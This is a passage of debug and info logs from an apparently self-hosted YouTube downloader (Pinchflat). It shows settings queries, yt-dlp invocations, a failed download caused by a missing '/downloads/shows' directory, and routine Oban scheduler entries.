s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:29.794 [debug] QUERY OK source="settings" db=0.1ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:29.795 [debug] Running yt-dlp command for action: get_downloadable_status 15:45:29.796 [debug] QUERY OK source="settings" db=0.1ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:29.796 [debug] QUERY OK source="settings" db=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:29.796 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:29.796 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/9b/8c9b002ceb648ea3873d275b776458a8b3a84a47968e00f8344b2583309874dd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:40.282 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/9b/8c9b002ceb648ea3873d275b776458a8b3a84a47968e00f8344b2583309874dd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:45:40.283 [debug] Running yt-dlp command for action: download 15:45:40.284 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1050.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:40.285 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1051.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:40.286 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1052.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:40.287 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1f/35/1f354acf09c2c2bf21b406f1f9918c5a8d4259199b7d810d6a84c0f17a183c78.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:45.785 [info] {"source":"oban","duration":23480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:48.956 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1f/35/1f354acf09c2c2bf21b406f1f9918c5a8d4259199b7d810d6a84c0f17a183c78.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 15:45:48.956 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 15:45:48.960 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":19188448,"event":"job:exception","queue_time":464217,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:46:00.597 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:15.790 [info] {"source":"oban","duration":3637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:45.821 [info] {"source":"oban","duration":21363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.599 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:15.843 [info] {"source":"oban","duration":21135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:45.850 [info] {"source":"oban","duration":5865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.602 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:15.873 [info] {"source":"oban","duration":20950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:45.879 [info] {"source":"oban","duration":2594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.605 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:15.888 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:45.893 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.608 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:15.906 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:45.911 [info] {"source":"oban","duration":2800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.613 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:15.917 [info] {"source":"oban","duration":4615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:45.922 [info] {"source":"oban","duration":3108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.615 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:15.928 [info] {"source":"oban","duration":2851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:45.932 [info] {"source":"oban","duration":2380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.618 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:15.936 [info] {"source":"oban","duration":2943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:45.939 [info] {"source":"oban","duration":2128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.630 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:15.948 [info] {"source":"oban","duration":6092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:45.953 [info] {"source":"oban","duration":2461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.636 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:15.959 [info] {"source":"oban","duration":5890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:45.964 [info] {"source":"oban","duration":2418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.637 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:15.973 [info] {"source":"oban","duration":5628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:45.980 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.643 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:15.986 [info] {"source":"oban","duration":5652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:45.991 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.646 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:15.995 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:45.998 [info] {"source":"oban","duration":2236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.647 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:16.002 [info] {"source":"oban","duration":2247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:46.008 [info] {"source":"oban","duration":2099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.650 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:16.013 [info] {"source":"oban","duration":2426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:46.015 [info] {"source":"oban","duration":2199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.652 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:16.018 [info] {"source":"oban","duration":2223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:46.022 [info] {"source":"oban","duration":2420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.654 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:16.026 [info] {"source":"oban","duration":2293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:46.031 [info] {"source":"oban","duration":2925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.660 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:16.035 [info] {"source":"oban","duration":2966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:46.040 [info] {"source":"oban","duration":3441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.662 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:16.045 [info] {"source":"oban","duration":2595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:46.051 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.664 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:16.054 [info] {"source":"oban","duration":3167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:46.058 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.665 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:16.063 [info] {"source":"oban","duration":3361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:46.068 [info] {"source":"oban","duration":3215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.668 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:16.072 [info] {"source":"oban","duration":2624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:46.081 [info] {"source":"oban","duration":2246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.670 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:16.087 [info] {"source":"oban","duration":2112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:46.094 [info] {"source":"oban","duration":2842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.677 [info] {"source":"oban","duration":2376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:16.103 [info] {"source":"oban","duration":2861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:46.106 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.680 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:16.111 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:46.115 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.684 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:16.117 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:46.122 [info] {"source":"oban","duration":2938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.688 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:16.131 [info] {"source":"oban","duration":2465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:46.137 [info] {"source":"oban","duration":2422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.689 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:16.141 [info] {"source":"oban","duration":2587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:46.145 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.694 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:16.152 [info] {"source":"oban","duration":2519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:46.157 [info] {"source":"oban","duration":2728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.698 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:16.161 [info] {"source":"oban","duration":2817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:46.167 [info] {"source":"oban","duration":2578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.702 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:16.171 [info] {"source":"oban","duration":2667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:46.176 [info] {"source":"oban","duration":2302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.704 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:16.180 [info] {"source":"oban","duration":2886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:46.185 [info] {"source":"oban","duration":2545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.708 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:16.191 [info] {"source":"oban","duration":2864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:46.198 [info] {"source":"oban","duration":2376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.710 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:16.207 [info] {"source":"oban","duration":6915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:46.214 [info] {"source":"oban","duration":3201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.712 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:16.219 [info] {"source":"oban","duration":2613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:46.223 [info] {"source":"oban","duration":2736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.715 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:16.228 [info] {"source":"oban","duration":3555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:46.233 [info] {"source":"oban","duration":3124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.717 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:16.240 [info] {"source":"oban","duration":4784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:46.245 [info] {"source":"oban","duration":3009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.720 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:16.250 [info] {"source":"oban","duration":4361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:46.262 [info] {"source":"oban","duration":2914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.731 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:16.265 [info] {"source":"oban","duration":2570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:46.272 [info] {"source":"oban","duration":4231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.741 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:16.276 [info] {"source":"oban","duration":2295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:46.288 [info] {"source":"oban","duration":5610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.743 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:16.292 [info] {"source":"oban","duration":2439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:46.295 [info] {"source":"oban","duration":2645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.751 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:16.301 [info] {"source":"oban","duration":3708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:46.312 [info] {"source":"oban","duration":3065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.754 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:16.319 [info] {"source":"oban","duration":3034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:46.323 [info] {"source":"oban","duration":3772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.756 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:16.334 [info] {"source":"oban","duration":5191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:46.348 [info] {"source":"oban","duration":2931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.760 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:16.357 [info] {"source":"oban","duration":4103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:46.362 [info] {"source":"oban","duration":3208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.763 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:16.367 [info] {"source":"oban","duration":3324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:46.372 [info] {"source":"oban","duration":3368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.774 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:16.376 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:46.379 [info] {"source":"oban","duration":2331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.777 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:16.385 [info] {"source":"oban","duration":3064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:46.390 [info] {"source":"oban","duration":3119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.779 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:16.396 [info] {"source":"oban","duration":4030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:46.403 [info] {"source":"oban","duration":3450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.784 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:16.414 [info] {"source":"oban","duration":2566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:46.422 [info] {"source":"oban","duration":3468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.790 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:16.437 [info] {"source":"oban","duration":3165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:46.449 [info] {"source":"oban","duration":4858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.801 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:16.457 [info] {"source":"oban","duration":2999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:46.462 [info] {"source":"oban","duration":2232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.808 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:16.469 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:46.476 [info] {"source":"oban","duration":3739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.815 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:16.480 [info] {"source":"oban","duration":2738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:46.487 [info] {"source":"oban","duration":2763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.826 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:16.501 [info] {"source":"oban","duration":3373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:46.505 [info] {"source":"oban","duration":2584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.828 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:16.511 [info] {"source":"oban","duration":4132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:46.517 [info] {"source":"oban","duration":2905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.831 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:16.532 [info] {"source":"oban","duration":3433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:46.537 [info] {"source":"oban","duration":3353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.833 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:16.547 [info] {"source":"oban","duration":2792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:46.553 [info] {"source":"oban","duration":3083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.836 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:16.558 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:46.567 [info] {"source":"oban","duration":3237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.847 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:16.572 [info] {"source":"oban","duration":2614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:46.582 [info] {"source":"oban","duration":7686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.857 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:16.588 [info] {"source":"oban","duration":3471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:46.596 [info] {"source":"oban","duration":4185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.862 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 